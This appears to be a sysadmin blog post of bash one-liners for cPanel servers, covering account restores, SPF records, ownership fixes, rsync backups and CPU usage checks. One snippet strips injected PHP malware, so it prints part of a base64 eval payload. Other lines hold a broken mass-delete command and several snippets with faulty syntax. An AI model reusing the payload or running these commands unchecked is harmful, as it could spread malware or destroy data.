How to check cPanel CPU and Memory usage for a specific user with Bash scripting

http://en.wikibooks.org/wiki/Bourne_Shell_Scripting/Appendix_C:_Quick_Reference

#!/bin/bash    = Starting line
echo “print text”
$X                          = Read the value of X

if [ -n $X ]; then 	# -n tests to see if the argument is non empty

Loops
while [ $X -le 20 ]                     // ( -le  is equel )    ( -lt Less than)
do
touch $X.html
X=$((X+1))                     // (or) let X=X+1
done

for i in $( ls ); do                                   //`seq 1 10`   read 1 to 10 numbers
echo item: $i
done

COUNTER=20
         until [  $COUNTER -lt 10 ]; do
             echo COUNTER $COUNTER
             let COUNTER-=1
         done

Script to cut word from a line
ls | grep cpmove | grep 'tar.gz' | cut -d'-' -f2 | cut -d. -f1 >/tmp/usernames
(or)
ls | grep cpmove | grep 'tar.gz' | cut -d'-' -f2 | cut -d. -f1 | uniq >/tmp/usernames          (uniq means uniqueness)

Script to restore pakage with help from the above
 for i in `cat /tmp/usernames ` ; do echo "/scripts/restorepkg $i" ; done
Example script to rename “cpmove-bnjjj.tar.gz” like file to “cpmove-bnjjj.jpg”
ls | grep cpmove | grep ‘tar.gz’ | cut -d’-‘ -f2 | cut -d. -f1 >/tmp/usernames
for i in `cat /tmp/usernames ` ; do mv cpmove-$i.* cpmove-$i.jpg; done

script to cut lines which contain the word FOUND
for i in ‘cat test’; do grep FOUND $i > rr; done

Script to restart a service

/usr/bin/pgrep named
if [ $? -ne 0 ]
then
/etc/init.d/named restart
fi

Script to add spf record for all accounts 
———————————————
cd /var/named
ls *.db > test
cat test | grep .db | cut -d’.’ -f1,2 > k
for i in `cat k` ; do echo $i. IN TXT “v=spf1 ~all” >> $i.db ; done

Sample script for create multiple cpanel accounts
——————————————————
#!/bin/bash
for i in `cat domains`;
do
echo “account $i creating”
echo ” enter the account username:”
read r;
/scripts/createacct $i $r
echo “Account $r created”;
done

Script to recursively search the keywords in a file and find the exact file location
————————————————————————————————–
#!/bin/bash
cat /dev/null > result;
for i in `cat file`;
do echo $i >> result; echo ===================== >> result;
s=`pwd`
p=`grep -irl $i *`
for j in $p;
do
h=${s}/${p}
echo $h >> result;
done
done

Script to correct cPanel users and files ownership
——————————————————————————-
for i  in `cat /etc/trueuserdomains   | awk ‘{print $2}’`
do
chown $i.$i /home/$i -R;
chown $i.mail /home/$i/etc -R;
chown $i.nobody /home/$i/public_html;
done;


Script to move specific files from different folders to a specific Folder

—————————————————————————————- For Hussin
#!/bin/bash
for ((i=12; i do
echo recup_dir.$i >> test1
done

for j in `cat test1`;
do
cd /vz/restore
cd $j
ls | grep *.txt | xargs mv *.txt ../texts/

ls | grep *.tar | xargs mv *.tar ../tar-files

ls | grep *.gz | xargs mv *.gz ../gz-files

ls | grep *.*.gz | xargs mv *.*.gz ../gz-files

ls | grep *.tar.gz | xargs mv *.tar.gz ../tar.gz/

ls | grep *.html | xargs mv *.html ../HTML

ls | grep *.js | xargs mv *.js ../js-files

ls | grep *.php | xargs mv *.php ../PHP-files

ls | grep public_html | xargs mv public_html ../PUBLIC-folders

ls | grep log | xargs mv *grep* ../logs

ls | grep *.7z | xargs mv *.7z ../7z-files

ls | grep *.zip | xargs mv *.zip ../zip-files

done
—————————————————————————————-

Script to change contents from a file
===================================
Example:
sed -i ‘s/To: root/To: csf@enterprisevpssolutions.com/g’ *.txt

Find and replace all contents after a particular keyword
==========================================
find /var/www/html/ -name “index.html” -exec sed -i ‘/<\/html>/q0’ {} \;
find . -name “index.html” -exec sed -ie ‘/<\/html>/q0’ {} \; ; [ $? = 0 ] && echo “Successfully replaced and backup all index files with an extension of back”

Script to rsync some data if no other backup process are running

 
#!/bin/bash
PROCESS=”/usr/bin/rsync -avz -e “ssh” /home/mybloghu root@65.98.23.18:/home”
PGREP=”/usr/bin/pgrep”
RSYNC=”rsync”
$PGREP ${RSYNC}
if [ $? -ne 0 ]
then
$PROCESS
fi
Script to remove a big hack script
=========================
for i in `cat /tmp/result.txt`; do sed -i ‘1s#eval(base64_decode(“DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYW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leGl0KCk7DQp9DQp9DQp9DQp9”));##g’ $i ; done
Script to find cPanel account and its corresponding IP address
cat /etc/userdatadomains | perl -pi -e “s/^.*? //,” | perl -pi -e “s/==.*==6/ 6/,” | perl -pi -e “s/:80==//,” | sort | uniq
cPanel script to assign IP via shell:  /usr/local/cpanel/bin/setsiteip -u  username IPaddress
Script to check cPanel CPU and Memory usage for a specific user
domain=”thedomain.com”; for i in `seq 1 7 `; do let i=$i+1 ; let  k=$i-1 ; let s=”$(date +%s) – (k-1)*86400″; let t=”$(date +%s) – (k-2)*86400″; echo `date -Idate -d @$s`; /usr/local/cpanel/bin/dcpumonview `date -d @$s +%s` `date -d @$t +%s` | sed -r -e ‘s@^(.*)(.*)(.*)(.*)(.*)$@Account: \1\tDomain: \2\tCPU: \3\tMem: \4\tMySQL: \5@’ -e ‘s@^Top Process(.*)(.*)$@\1 – \2@’ | grep $domain -A3 ; done

Find and remove files which is older than 1year
find ./ ctime +365 | xargs rm -f

kbadmin has written 149 articles

Loading Facebook Comments ...

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.